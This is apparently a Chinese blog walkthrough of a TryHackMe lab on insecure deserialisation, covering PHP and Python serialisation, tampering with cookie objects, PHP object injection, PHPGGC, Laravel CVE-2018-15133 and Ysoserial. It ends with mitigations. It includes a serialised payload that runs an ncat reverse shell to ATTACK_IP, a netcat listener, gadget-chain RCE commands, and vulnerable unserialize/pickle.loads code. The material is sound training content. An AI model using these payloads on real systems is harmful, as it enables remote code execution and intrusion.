Loading

【thm】Insecure Deserialisation 不安全的反序列化

简介

用户提供的输入一直是漏洞的催化剂,对众多平台和应用程序构成持续威胁。利用用户输入(从 SQL 注入到跨站点脚本)是保护 Web 应用程序的一个众所周知的挑战。与用户输入相关的另一个鲜为人知但同样危险的漏洞是不安全的反序列化。

当应用程序足够信任序列化数据而不验证其真实性时,就会发生不安全的反序列化攻击。这种信任可能会导致灾难性后果,因为攻击者会操纵序列化对象来实现远程代码执行、提升权限或发起拒绝服务攻击。这种类型的漏洞在跨各种编程环境(如 Java、.NET 和 PHP)序列化和反序列化复杂数据结构的应用程序中很普遍,这些应用程序通常使用序列化进行远程过程调用、会话管理等。

学习目标:

  • 序列化和反序列化过程的工作原理
  • Web 应用程序的潜在风险
  • 利用技术
  • 缓解措施

在开始房间之前,建议了解以下主题:
网站如何运作
协议和服务器
OWASP Top 10

重要概念

在详细讨论不安全的反序列化之前,通过一个简单的示例来理解基本概念至关重要。

序列化(Serialisation)

想想序列化,就像早上收拾书包一样。你有书、笔记本、一个饭盒和一个水瓶,你需要把它们整理到你的包里。序列化就像将不同的信息(如笔记)放在一起,以便于存储或发送给朋友。
image

在编程中,序列化是将对象的状态转换为人类可读或二进制格式(或两者的混合)的过程,可以在需要时存储或传输和重建。在必须在系统的不同部分之间或跨网络传输数据的应用程序(例如在基于 Web 的应用程序中)中,此功能至关重要。

例如:

<?php
$noteArray = array("title" => "My THM Note", "content" => "Welcome to THM!");
$serialisedNote = serialize($noteArray);  // Converting the note into a storable format
file_put_contents('note.txt', $serialisedNote);  // Saving the serialised note to a file
?>

以下输出显示 note.txt 文件中的序列化字符串,其中包括注释结构和内容的详细信息。它以一种可以轻松保存或传输的方式存储。

说明:** a:2:{s:5:"title";s:12:"My THM Note";s:7:"content";s:12:"Welcome to THM!";}**

反序列化(Deserialisation)

想象一下,你到学校,需要你今天早上打包的所有东西。反序列化就像你去上课时打开书包;你把每件物品都拿出来,这样你就可以一整天使用它。当您打开包去拿书和午餐时,反序列化会获取打包的数据,并将其转换为您可以使用的数据。反序列化是将格式化数据转换回对象的过程。这对于从文件、数据库或跨网络检索数据,将其恢复到原始状态以在应用程序中使用至关重要。

image

按照我们前面的示例,以下是如何在 PHP 中反序列化笔记数据:

<?php
$serialisedNote = file_get_contents('note.txt');  // Reading the serialised note from the file
$noteArray = unserialize($serialisedNote);  // Converting the serialised string back into a PHP array
echo "Title: " . $noteArray['title'] . "<br>";
echo "Content: " . $noteArray['content'];
?>

此代码从文件中读取序列化的注释并将其转换回数组,从而有效地重建原始注释。讨论序列化还需要讨论安全性。就像您不希望有人篡改您的书包一样,不安全的反序列化可能会导致软件应用程序中出现重大安全漏洞。攻击者可能会更改序列化对象以执行未经授权的操作或窃取数据。

涉及序列化漏洞的特定事件

让我们讨论序列化漏洞在网络安全漏洞或攻击中发挥关键作用的具体事件,强调安全序列化实践的重要性。这些示例说明了攻击者如何利用序列化缺陷来实现远程代码执行、数据泄露等。

Log4j 漏洞 CVE-2021-44228
  • 事件:Log4j 漏洞或 Log4Shell 是在 Apache Log4j 2 库中发现的一个严重安全漏洞,该库是 Java 应用程序中广泛使用的日志记录库。该漏洞允许远程攻击者利用库不安全的反序列化功能,在受影响的系统上执行任意代码。如果您想了解有关此漏洞的更多信息,请查看 Solar,利用 log4j 房间

  • 影响:该漏洞助长了远程代码执行,使攻击者能够在受影响的系统上执行任意命令。这使得攻击者能够破坏关键基础设施,导致未经授权访问敏感数据、服务中断和潜在的供应链攻击。

WebLogic Server 远程代码执行 CVE-2015-4852
  • 事件:此漏洞与 Oracle WebLogic Server 反序列化数据发送到 T3 协议的方式有关。攻击者可以将恶意构建的对象发送到服务器,当反序列化时,会导致远程代码执行。

  • 影响:此漏洞被广泛利用,以未经授权访问系统、部署勒索软件或窃取数据。它影响了所有未禁用易受攻击的服务或修补问题的 WebLogic Server 版本。

Jenkins Java 反序列化 CVE-2016-0792
  • 事件:Jenkins 是软件开发中使用的流行自动化服务器,它遇到了一个涉及 Java 反序列化的严重漏洞。攻击者可以将精心构建的序列化有效负载发送到 Jenkins CLI,当反序列化时,该负载可能允许任意代码执行。

  • 影响:这允许攻击者执行 shell 命令,从而可能接管 Jenkins 服务器,而 Jenkins 服务器通常具有对软件开发环境的广泛访问权限,包括源代码、构建系统和潜在的部署环境。

答题

image

序列化格式

虽然不同的编程语言可能使用不同的关键字和函数进行序列化,但基本原理保持一致。众所周知,序列化是将对象的状态转换为易于存储或传输的格式,然后在以后重建的过程。无论是 Java、Python、.NET 还是 PHP,每种语言都实现了序列化,以适应其环境固有的特定功能或安全措施。
image
与其他利用用户输入的即时处理的常见漏洞不同,不安全的反序列化问题涉及与应用程序核心逻辑的更深入交互,通常操纵其组件的基本行为。

现在,让我们探讨如何在不同的语言中显式处理序列化,探索其功能、语法和独特特性。

PHP 序列化(PHP Serialisation)

在 PHP 中,序列化是使用函数serialize() 完成的。此函数将 PHP 对象或数组转换为表示对象数据和结构的字节流。生成的字节流可以包含各种数据类型,例如字符串、数组和对象,使其具有唯一性。为了说明这一点,让我们考虑一个笔记应用程序,用户可以在其中保存和检索他们的笔记。我们将创建一个名为 Notes 的 PHP 类来表示每个注释并处理序列化和反序列化。

class Notes {
    public $Notescontent;

    public function __construct($content) {
        $this->Notescontent = $content;
    }
}

在我们的 Notes 应用程序中,当用户保存笔记时,我们使用 PHP serialize()的函数序列化 Notes 类对象。这会将对象转换为可存储在文件或数据库中的字符串表示形式。让我们看一下序列化 Notes 类对象的以下代码片段:

$note = new Notes("Welcome to THM");
$serialized_note = serialize($note);

访问链接 http://ip/phptest/ 并输入任何字符串进行序列化或反序列化。例如,如果输入字符串 Welcome to THM,它将生成如下所示的输出 O:5:"Notes":1:{s:7:"content";s:14:"Welcome to THM";}
image

让我们解码输出:

  • O:5:"Notes":1::这部分表示序列化数据表示 Notes 类的一个对象,该对象具有一个属性。

  • s:7:"content" :表示长度为 7 个字符的属性名称“content”。在序列化数据中,字符串后 s 跟字符串的长度和双引号中的字符串。整数后 i 跟不带引号的数值表示。

  • s:14:"Welcome to THM" :这是 content 属性的值,长度为 14 个字符。

这个序列化字符串表示一个 Notes 对象,具有一个属性 content,其值为 Welcome to THM。

魔术方法

PHP 提供了几种在序列化过程中发挥关键作用的神奇方法。下面提到了一些重要的方法:在 PHP 中反序列化 pre-req

  • __sleep():在序列化之前对对象调用此方法。它可以清理资源,例如数据库连接,并期望返回应序列化的属性名称数组。
  • __wakeup():反序列化时调用此方法。它可以重新建立对象正常运行所需的任何连接。
  • __serialize():从 PHP 7.4 开始,此方法允许您通过返回表示对象序列化形式的数组来自定义序列化数据。
  • __unserialize():此对应项允许__serialize()自定义从序列化数据恢复对象。

Python

Python 使用一个名为Pickle的模块来序列化和反序列化对象。该模块将 Python 对象转换为字节流(反之亦然),使其能够保存到文件或通过网络传输。 Pickling 对于 Python 开发人员来说是一个强大的工具,因为它可以处理几乎所有类型的 Python 对象,而无需手动处理对象的状态。我们将在 Python 中遵循与PHP中相同的注释应用程序。这是该类的代码片段 app.py:

import pickle
import base64

...
serialized_data = request.form['serialized_data']
notes_obj = pickle.loads(base64.b64decode(serialized_data))
message = "Notes successfully unpickled."
...

elif request.method == 'POST':
    if 'pickle' in request.form:
        content = request.form['note_content']
        notes_obj.add_note(content)
        pickled_content = pickle.dumps(notes_obj)
        serialized_data = base64.b64encode(pickled_content).decode('utf-8')
        binary_data = ' '.join(f'{x:02x}' for x in pickled_content)
        message = "Notes pickled successfully."

Pickling Process

  • 创建 Notes 类:该类管理注释列表。它提供了添加注释和检索所有注释的方法,从而可以轻松管理应用程序的状态。
  • 序列化(Pickling):当用户提交注释时,Notes 类实例(包括所有注释)将使用pickle.dumps().该函数将 Python 对象转换为二进制格式,Python 稍后可以将其转回对象。

显示序列化数据(Base64编码)

  • 为什么使用 base64:序列化数据是二进制的,不能安全地在所有环境中显示。二进制数据可能包含可能Python 中的 pickle.load pre-req干扰通信协议(例如HTTP)的字节。 Base64 是一种将二进制数据转换为纯文本的编码方案。它仅使用可读字符,因此可以安全地通过不支持二进制数据的通道进行传输。
  • 编码过程:序列化对象后Notes,使用 .base64 将二进制数据编码为 Base64 字符串base64.b64encode()。该字符串可以安全地在 HTML 中显示,并且可以轻松存储或传输。

反序列化(Unpickling)

  • Base64 解码:在 unpickle 时,首先使用 .base64 字符串将其解码回二进制格式base64.b64decode()。
  • Unpickling:然后将二进制数据传递给pickle.loads(),后者从二进制流重建原始 Python 对象。

再次访问链接http://ip:5000 并输入字符串Welcome to THM:
image

  • Pickling:当该字符串被 pickle 时,它​​会被转换为人类无法读取的二进制格式。这种二进制格式包含有关数据类型、数据本身以及重建对象所需的其他元数据的信息。
  • Base64 编码:然后将腌制数据的二进制形式编码为 Base64 字符串,该字符串可能类似于gASVIQAAAAAAAACMBFdlbGNvbWXCoGFkZYFdcQAu。

在探索序列化格式时,我们讨论了如何在PHP和 Python中实现这一关键功能。PHP利用serialize()unserialize()函数来管理对象和其他数据类型到可轻松重构的可存储格式的转换。类似地,Python 使用该 Pickle 模块将对象序列化为字节流并将它们反序列化回原始状态。

除了这两种语言之外,序列化是各种编程环境中的共同功能,每种环境都有独特的实现和库。在Java中,通过接口促进对象序列化Serializable,允许对象转换为字节流,反之亦然,这对于网络通信和数据持久性至关重要。对于 .NET,序列化多年来已经发生了显着的发展。最初,BinaryFormatter通常用于二进制序列化;然而,出于安全考虑,现在不鼓励使用它 。现代 .NET 应用程序通常使用System.Text.Json JSON序列化,或用于 XML 任务的System.Xml.Serialization ,这反映了向更安全、更 标准化的数据交换格式的转变。 Ruby 以其Marshal模块提供了简单性,该模块以序列化和反序列化对象而闻名,并且对于更易于人类阅读的格式,它通常使用YAML。每种语言的序列化方法都反映了其使用上下文和安全注意事项,强调了理解和正确实现序列化以确保 Web 应用程序中数据的完整性和安全性的重要性。

答题

在 Python 中对字符串进行packle后,base64 编码的输出是什么?

image
image
序列化字符串You got it in PHP 后的输出是什么?
image
image

加解密示例:
image
image

鉴别

在彻底了解不同编程语言的序列化之后,我们现在将过渡到网络安全的一个关键方面,即利用和减轻与序列化相关的漏洞。在讨论利用技术的细节之前,了解如何识别应用程序中的这些漏洞至关重要,无论您是否有权访问代码(白盒测试)或无权(黑盒测试)。

访问源代码

当可以访问源代码时,识别序列化漏洞可能会更加直接,但需要对要查找的内容有敏锐的了解。例如,通过代码审查,我们可以检查源代码中是否使用了serialize()unserialize()pickle.loads() 等序列化函数。我们必须特别注意用户提供的输入可能直接传递给这些函数的任何点。

无法访问源代码

在无法访问源代码的情况下审核应用程序时,面临的挑战在于仅根据外部观察和交互来推断它如何处理数据。这通常称为黑盒测试。在这里,我们重点检测服务器响应和 cookie 中可能指示序列化使用和潜在漏洞的模式。作为渗透测试人员,在PHP文件名末尾附加波浪号是攻击者用来尝试访问由文本编辑器或版本控制系统创建的备份或临时文件的常用技术。编辑或保存文件时,某些文本编辑器或版本控制系统可能会制作原始文件的备份副本,并在文件名后附加波浪号。~

分析服务器响应

  • 错误消息:某些错误消息可以间接指示序列化问题。例如,PHP unserialize()检查 Cookie可能会抛出包含诸如 或对象反序列化错误 之类的短语的错误或警告,这些短语揭示了底层序列化过程和潜在的漏洞点。
  • 应用程序行为的不一致:响应操纵输入(例如,修改的cookie或POST数据)的意外行为可能表明数据的反序列化和处理方式存在问题。观察应用程序如何处理更改的序列化数据可以提供有关潜在易受攻击的代码的线索。

Cookie 通常用于在 Web 应用程序中存储序列化数据。通过检查 cookie 的内容,通常可以推断出:

  • Cookie 中的 Base64 编码值(PHP和 .NET):如果 Cookie 包含看起来经过 Base64 编码的数据,则对其进行解码可能会显示序列化的对象或数据结构。PHP经常使用序列化来进行会话管理并以序列化格式存储会话变量。
  • ASP.NET 视图状态:.NET 应用程序可能会在发送到客户端浏览器的视图状态中使用序列化。有时可以看到一个名为__VIEWSTATE的字段,该字段是 base64 编码的。解码和检查它可以揭示它是否包含可被利用的序列化数据。

在这项任务中,我们学习了如何识别漏洞。在即将到来的任务中,我们将研究利用该漏洞的各种技术。

答题:

image
过程:

首先访问这个站点:
image

发现是php序列化的格式,正常过程扫描网站目录
image

发现了文件后面有波浪号,意味着有备份,访问之后得到函数名

利用 - 更新属性(Exploitation Update Properties)

更新对象的属性(Updating Properties of an Object)

在这个任务中,我们将探索一个PHP中的实际例子,使用一个简单的笔记共享应用程序作为我们的案例研究。我们的笔记共享应用程序允许用户轻松创建、保存和共享笔记。用户可以将他们的笔记输入到应用程序中,然后保存以备将来参考。此外,用户可以与他人共享他们的笔记,促进协作和信息交换。该应用程序还包括基于订阅的功能,确保只有订阅用户才能访问某些功能,例如笔记共享。
image

让我们来看看应用程序是如何构建的。

定义 Notes 类

该应用程序有一个 Notes 类,表示我们应用程序中的注释。此类有三个私有属性: userroleisSubscribed 。我们也有 setter 和 getter 方法来操作 isSubscribed 属性。

class Notes {

    private $user;
    private $role;
    private $isSubscribed;

    public function __construct($user, $role, $isSubscribed) {
        $this->user = $user;
        $this->role = $role;
        $this->isSubscribed = $isSubscribed;
    }

    public function setIsSubscribed($isSubscribed) {
        $this->isSubscribed = $isSubscribed;
    }

    public function getIsSubscribed() {
        return $this->isSubscribed;
 }
}

当用户第一次访问我们的应用程序时,它会设置一个包含其用户数据的序列化 cookie。这包括其用户名、角色和订阅状态 ( isSubscribed )。如果用户是付费会员 (isSubscribed = true),则允许他们共享笔记。

image

利用此漏洞

在此步骤中,我们将说明攻击者如何通过修改序列化的 cookie 值来利用此漏洞,从而获得对共享笔记的未经授权的访问。

  • 序列化 cookie:解码 base64 编码的 cookie 值后,我们获得 Notes 对象的以下序列化表示形式:O:5:"Notes":3:{s:4:"user";s:5:"guest";s:4:"role";s:5:"guest";s:12:"isSubscribed";b:0;}

正如我们已经知道的,在 PHP 序列化中,类名以属性名称为前缀,以防它不是公开的,以确保唯一性并帮助反序列化。这是 PHP 在内部处理对象序列化和反序列化的一部分。序列化对象时,PHP 存储对象的属性和类名。这确保了在以后反序列化对象时,PHP 知道要实例化哪个类以及如何正确地将序列化数据分配给对象的属性。让我们将序列化的笔记分解为它的组成部分:

O:5:"Notes":3:这表示一个对象 (O),其类名为 Notes,它有三个属性。

s:4:"user"";s:5:“guest”:表示长度为 4 个字符的字符串,表示值为“guest”的属性 user

s:4:"role";s:5:“guest”:与前一个类似,它表示值为“guest”的属性 role

s:12:"isSubscribed";b:0:这表示以 false (0) 值命名 isSubscribed 的布尔值 (b) 属性。

利用此漏洞

在当前方案中,当用户想要尝试共享笔记时,他们会收到以下弹出窗口:

image

现在,后端发生了什么?后端 PHP 代码验证传入的 cookie,对其进行反序列化处理,然后验证用户是否已订阅。我们的主要任务是绕过它。

假设攻击者截获此序列化 Cookie 值,并将 isSubscribed 属性从 false (0) 修改为 true (1)。攻击者可以在未经合法授权的情况下通过更改序列化数据中的布尔值来操纵订阅状态。

修改后,攻击者会再次对序列化数据进行 base64 编码,并将原始 cookie 值替换为修改后的 cookie 值。这将授予他们未经授权的访问权限,绕过预期的订阅限制,在其他平台上共享笔记。

答题

image
image
将修改后的序列编码后修改cookie值即可
image

漏洞利用 - 对象注入

对象注入是由 Web 应用程序中不安全的数据反序列化引起的漏洞。当不受信任的数据被反序列化为对象时,就会发生这种情况,允许攻击者操纵序列化数据来执行任意代码,从而导致严重的安全风险。在此任务中,我们将探索对象注入的工作原理,并通过简单的 PHP 代码片段演示其影响。

众所周知,该漏洞源于序列化和反序列化过程,该过程允许将PHP对象转换为可存储格式(序列化)并重建回对象(反序列化)。虽然序列化和反序列化对于数据存储和传输很有用,但如果实施不当,它们也会带来安全风险。

要利用 PHP 对象注入漏洞,应用程序应包含一个具有 PHP 魔术方法(如 __wakeup 或 __sleep )的类,该类可被恶意利用。在调用 unserialize() 该方法之前,应声明攻击中涉及的所有类(除非支持对象自动加载)。

Example

让我们考虑一个 index.php 代码片段,它显示了使用 serialize() and unserialize() 函数的序列化和反序列化。该代码接受 GET 参数解码或编码,并相应地转换用户提供的值。

<?php
class UserData {
    private $data;
    public function __construct($data) {
        $this->data = $data;
    }
..
require 'test.php';
if(isset($_GET['encode'])) {
    $userData = new UserData($_GET['encode']);
    $serializedData = serialize($userData);
    $base64EncodedData = base64_encode($serializedData);
    echo "Normal Data: " . $_GET['encode'] . "<br>";
    echo "Serialized Data: " . $serializedData . "<br>";
    echo "Base64 Encoded Data: " . $base64EncodedData;

} elseif(isset($_GET['decode'])) {
    $base64EncodedData = $_GET['decode'];
    $serializedData = base64_decode($base64EncodedData);
    $test = unserialize($serializedData);
    echo "Base64 Encoded Serialized Data: " . $base64EncodedData . "<br>";
    echo "Serialized Data: " . $serializedData;

...

例如,如果我们通过 URL http://10.10.137.228/case2/?encode=hellothm 发送输入 hellothm,我们将得到以下输出:

image

我们看到代码包含一个名为 test.php 的文件。通过源代码审查或考虑框架是否是开源的,渗透测试人员知道它 test.php 包含一个名为如下所示 MaliciousUserData 的类:

<?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 10.10.10.1 -e /bin/sh'; // call to troubleshooting server
    
    public function __wakeup() { 
    exec($this->command);
...

?>

在上面的代码中,通过不安全的反序列化,可以操纵对象的属性,包括更改上述代码中 MaliciousUserData 类的 command 属性。这可以通过制作包含所需属性值的特制序列化字符串来实现。例如,如果我们想修改 command 属性以执行不同的命令或连接到不同的服务器,我们可以序列化具有所需属性值的对象,然后将其注入易受攻击 unserialize() 的函数中。这样,在反序列化时,操作的属性值将被加载到对象中。

请务必了解,在不安全的反序列化过程中,无法直接更新 __wakeup 方法本身的定义。该 __wakeup 方法是类定义的一部分,在反序列化过程中保持静态。但是,您可以做的是修改 __wakeup 方法中对象的行为或属性。这意味着,虽然该方法的定义保持不变,但可以操纵其在反序列化时的操作以实现不同的结果。

现在我们了解了基础知识,是时候准备有效载荷了。

准备有效负载(Preparing the Payload)

如前所述,调用另一个类是 PHP 中的常规功能,如果目标网站使用的是开源代码,您可以查看该文件的代码。代码 index.php 盲目取消序列化输入,而不执行任何清理。这里有什么选择?如果我们修改类 MaliciousUserData 并修改其 command 属性,以便在调用 __wakeup 函数时使用攻击者提供的值调用它,该怎么办?

让我们在 AttackBox 上创建一些 PHP 代码来生成恶意序列化用户数据。

<?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh';
}

$maliciousUserData = new MaliciousUserData();
$serializedData = serialize($maliciousUserData);
$base64EncodedData = base64_encode($serializedData);
echo "Base64 Encoded Serialized Data: " . $base64EncodedData;
?>
  • 在上面的代码中, MaliciousUserData class ( test.php ) _wakeup() 的函数将使用 Ncat 执行反向 shell 命令,以 -e 标志连接到指定的 IP 地址 ( ATTACK_IP ) 和端口 ( 4444 ),作为 shell 执行 /bin/sh

  • 创建文件后, php index.php 通过终端执行它。这将返回 MaliciousUserData 类的 base64 编码序列化对象。

  • 生成的 base64 编码字符串如下所示: TzoxNzoiTWFsaWNp[Redacted] .

  • 使用 AttackBox 上的命令 nc -nvlp 4444 在端口 4444 上启动 Netcat 侦听器。

  • 现在,是时候利用不安全的反序列化了,通过访问 URL http://10.10.137.228/case2/?decode=[SHELLCODE] 来解码 shellcode,而不生成 shellcode。

  • 访问 URL 后,index.php文件的反序列化函数将反序列化字符串并执行该 __wakeup() 函数,从而导致远程 shell。

image

在即将到来的任务中,我们将了解允许攻击者利用该漏洞的问题,以及如何从安全编码人员的角度保护它。

答题:

image

过程:
整个过程原理是,用户输入的encode,进行序列化,在php文件中,总会引用test.php。里面的wakeup函数设定为执行exec commnd;因此,需要修改commnd的值,所以,在编写的php中得到了序列化之后的目标命令:
image
在url中选择decode解码,并输入,然后将其注入易受攻击 unserialize() 的函数中。这样,在反序列化时,操作的属性值将被加载到对象中。
image

自动化脚本

在渗透测试期间自动执行脚本对于有效识别和利用 Web 应用程序中的漏洞至关重要。在这项任务中,我们将探索一种称为 PHP Gadge Chain (PHPGGC) 的工具,它在此过程中起着至关重要的作用,可以自动发现不安全的反序列化漏洞。PHPGGC 类似于 Java 生态系统中的 Ysoserial,可帮助安全专业人员评估 PHP 应用程序的安全态势并降低潜在风险。

PHP 小工具链 (PHPGGC)

PHPGGC 主要是一种用于生成 PHP 对象注入攻击中使用的小工具链的工具,专门用于利用与 PHP 对象序列化和反序列化相关的漏洞。

Functionality 功能性

  • 小工具链(Gadget Chains):PHPGGC 为各种 PHP 框架和库提供了一个小工具链库。这些小工具链是一系列对象和方法,旨在在 PHP 应用程序不安全地取消序列化用户提供的数据时利用特定漏洞。

  • 有效负载生成(Payload Generation):PHPGGC 的主要目的是促进生成可能触发这些漏洞的序列化有效负载。它可以帮助安全研究人员和渗透测试人员创建有效负载,以展示不安全的反序列化缺陷的影响。

  • 有效载荷定制(Payload Customisation):用户可以通过为小工具链中涉及的功能或方法指定参数来自定义有效载荷,从而定制攻击以实现特定结果,例如编码。

您可以从 PHPGGC 的 GitHub 存储库下载,也可以通过 /opt/phpggc 目录使用 AttackBox 上已有的版本。安装的版本已经包含一些小工具链、PHP 对象序列和旨在利用反序列化漏洞的方法调用。这些小工具链利用 PHP 的神奇方法来实现各种攻击目标,例如远程代码执行。

要列出所有可用的小工具链,您可以使用 PHPGGC -l 选项,该选项将显示用于发起特定攻击的名称、版本、类型和向量。此外,您可以根据小工具链的功能过滤小工具链,例如针对特定 PHP 框架或实现特定漏洞利用技术的小工具链,使用后跟过滤器关键字的 -l 选项(Drupal、Laravel 等)。这允许您为漏洞利用方案选择适当的小工具链,如下所示:

image

例如,输出 for CakePHP/RCE1 意味着名为 CakePHP/RCE1 的小工具链利用了 CakePHP 版本中的 3.9.6 RCE 漏洞。此漏洞允许攻击者利用 __destruct 魔术方法在服务器上执行任意命令。

利用 Web 应用程序(Exploiting a Web Application)

作为渗透测试仪,我们专注于 Laravel 网站,以利用 CVE-2018-15133 下发现的已知漏洞。当 Laravel 从 X-XSRF-TOKEN 中解串(解压缩)不受信任的数据时,会触发该漏洞。如果处理不当,此反序列化过程可能会导致在服务器上执行任意代码。有关该漏洞的详细信息可以从 Laravel 安全版本中读取,但我们的主要关注点是如何在利用过程中利用 PHP 小工具链。上述漏洞可通过三个主要因素加以利用:

  • 第 1 步:需要 APP_KEY 来自 Laravel,框架使用它来加密 XSRF 令牌。

  • 第 2 步:使用 PHPGGC 生成执行命令的非序列化有效负载。这被认为是一项复杂的任务,该工具可以派上用场。

  • 第 3 步:最后,我们必须使用APP_KEY加密有效负载并发送 POST 请求。这通常因框架而异。

在这项任务中,我们的重点将主要放在第 2 步上,并了解 PHPGGC 将如何帮助我们作为渗透测试人员。访问易受攻击的 Laravel 应用程序,网址为 http 😕/attackip:8089 作为渗透测试仪,我们可以通过多种技术识别 Web 应用程序版本。您可以访问信息收集和漏洞扫描模块来详细了解这一点。Laravel 应用程序版本为 5.6.29。

image

现在我们将详细介绍分步开发:

  • 第一步,我们将通过任何攻击媒介(例如社会工程)获取APP_KEY。您可以通过访问 http 😕/10.10.225.187:8089/get-key 来获得 APP_KEY 。为方便起见,此页面还将为您提供具有 whoami 命令的第一个有效负载。

  • 对于第二步,我们需要确定可以使用的有效载荷。

image

展望未来,我们可以使用各种小工具生成有效载荷。每个小工具都有其相关性,并在反序列化过程中使用不同的类。在此示例中,我们将使用 RCE3,并且可以通过键入 base-64 编码有效负载的命令 php phpggc -b Laravel/RCE3 system whoami 来生成有效负载。非编码有效负载如下所示:

image

有效载荷的细分

``Illuminate\Broadcasting\PendingBroadcast` :此类处理 Laravel 中的事件广播。在这里,它主要是用于携带嵌套恶意对象的载体。

Illuminate\Notifications\ChannelManager :此对象管理通知通道。我们操纵它,通过其属性注入任意代码执行, *app 这些属性通常引用应用程序服务容器。我们滥用它来控制我们的命令 whoami .我们还操纵了扭曲的 *defaultChannel and *customCreators 属性,以创建一个调用 PHP assert 函数的场景,执行传递给它的任何代码。

正如我们已经知道的那样,Laravel 最初使用加密和序列化的 cookie 来安全地存储会话和 CSRF 令牌数据,对两者使用相同的方法。如果您访问易受攻击的应用程序,您可以看到加密和序列化的 cookie,如下所示:

image

基本想法是避免篡改来自不良行为者的数据,但尽管如此,他们没有意识到即使是如此强大的安全机制也可能通过不安全的序列化来破坏。

现在我们有了 APP_KEY 和 有效负载,是时候创建一个加密的 CSRF 令牌了。为了这个房间,我们准备了一个 PHP 脚本,它将 APP_KEY 和有效负载作为参数并返回加密的令牌。您可以在 http://10.10.225.187:8089/cve.php?app_key=xx&payload=xxx 访问该链接。为方便起见,此 URL 已具有 URL 编码的密钥和 whoami 命令的第一个有效负载。了解 Laravel 和 WordPress 等框架的加密机制是一项简单的任务,但目前,它超出了房间的范围。

在对 Yii、CakePHP 和 Laravel 等 Web 框架进行渗透测试时,必须了解每个框架都有独特的路由和加密机制,尽管它们都是在 PHP 上构建的。这些框架设计有不同的架构和安全实现,这意味着像 Laravel 中的 RCE3 这样的漏洞,特别是利用 Laravel 的服务容器和序列化行为,不一定适用于 WordPress 或其他基于 PHP 的系统。例如,WordPress具有不同的结构,并且不使用Laravel的特定类或方法,因此为Laravel的架构量身定制的漏洞利用不会直接在WordPress上运行。

现在我们有了加密的令牌,我们可以使用 CSRF 令牌发出一个简单的 POST 请求,如下所示来执行命令。有效负载结果将显示在 cURL 响应的开头。

image

用于 Java 的 Ysoserial

Ysoserial 是一种广为人知的漏洞利用工具,专门用于测试 Java 应用程序针对序列化漏洞的安全性。它有助于生成利用这些漏洞的有效负载,使其成为旨在评估和利用使用 Java 序列化的应用程序的攻击者和渗透测试人员的重要工具。

要使用 Ysoserial,攻击者通常会使用诸如 java -jar ysoserial.jar [payload type] '[command to execute]' 之类的命令生成有效负载,其中 [payload type] 是漏洞利用的类型, [command to execute] 并且是他们希望在目标系统上运行的任意命令。例如,使用 CommonsCollections1 有效负载类型可能如下所示: java -jar ysoserial.jar CommonsCollections1 'calc.exe' .此命令生成一个序列化对象,该对象将在易受攻击的应用程序反序列化时执行指定的命令。Ysoserial 可在 GitHub 上下载。

答题

image

问题一:

输入命令./phpggc -l CodeIgniter4/FR1
image

问题2:

使用文章中多给的apikey和payload,填入网站url对应空,即可得到xsrf令牌,再构造curl使用post传参,得到响应
image

问题3:

在使用phpggc时,system后whoami改为'uname -r'(注意单引号)之后过程同上
image
得到内核号

缓解措施

降低与不安全的反序列化相关的风险对于确保 Web 应用程序的安全性至关重要。通过实施有效的防御措施,组织可以显着降低利用的可能性并减轻潜在损坏。我们将从红队/渗透测试人员和安全代码的角度对此进行讨论。

Red Teamer / Pentester Perspective

  • 代码库分析:对应用程序的序列化机制进行全面审查。确定整个代码库中潜在的反序列化和序列化点。

  • 漏洞识别:使用静态分析工具检测不安全的反序列化漏洞。查找不正确的输入验证、不安全的库和过时的依赖项。

  • 模糊测试和动态分析:采用模糊测试技术生成无效或意外的输入数据。使用动态分析工具监视应用程序在运行时的行为。

  • 错误处理评估:评估应用程序在反序列化期间处理错误的方式。查找显示系统详细信息的潜在错误消息或堆栈跟踪。

Secure Coder Perspective 安全编码员视角

  • 避免不安全的序列化格式:避免使用本质上不安全的序列化格式,如 Java 序列化。选择更安全的替代方案,例如具有强大验证机制的 JSON 或 XML。

  • 避免 eval 和 exec:避免使用 eval() exec() functions,因为它们可以执行任意代码并带来重大安全风险。

  • 输入验证和输出编码:实施严格的输入验证,以确保仅接受预期数据。应用输出编码技术在序列化之前清理数据。

  • 安全编码实践:遵循安全标准和准则建议的安全编码实践。采用最小权限、纵深防御和故障安全默认等原则。

  • 遵守准则:建立了特定于编程语言或框架的安全编码准则。

答题

image

结论

总之,不安全反序列化的房间提供了对这一关键安全漏洞及其对 Web 生态系统的深远影响的全面理解。我们首先探讨了不安全反序列化的基本原理,并讨论了它在各种平台和技术中的利用潜力。然后,我们探索了不同编程语言中使用的序列化格式,以阐明此漏洞的不同表现形式。

通过探索包括白盒和黑盒测试方法在内的漏洞利用技术,我们深入了解了利用不安全反序列化的攻击的多方面性质。此外,我们从红队成员和安全编码人员的角度研究了缓解措施,强调了主动防御策略在减轻此漏洞带来的风险方面的重要性。

posted @ 2024-05-18 01:28  林秋声  阅读(127)  评论(0)    收藏  举报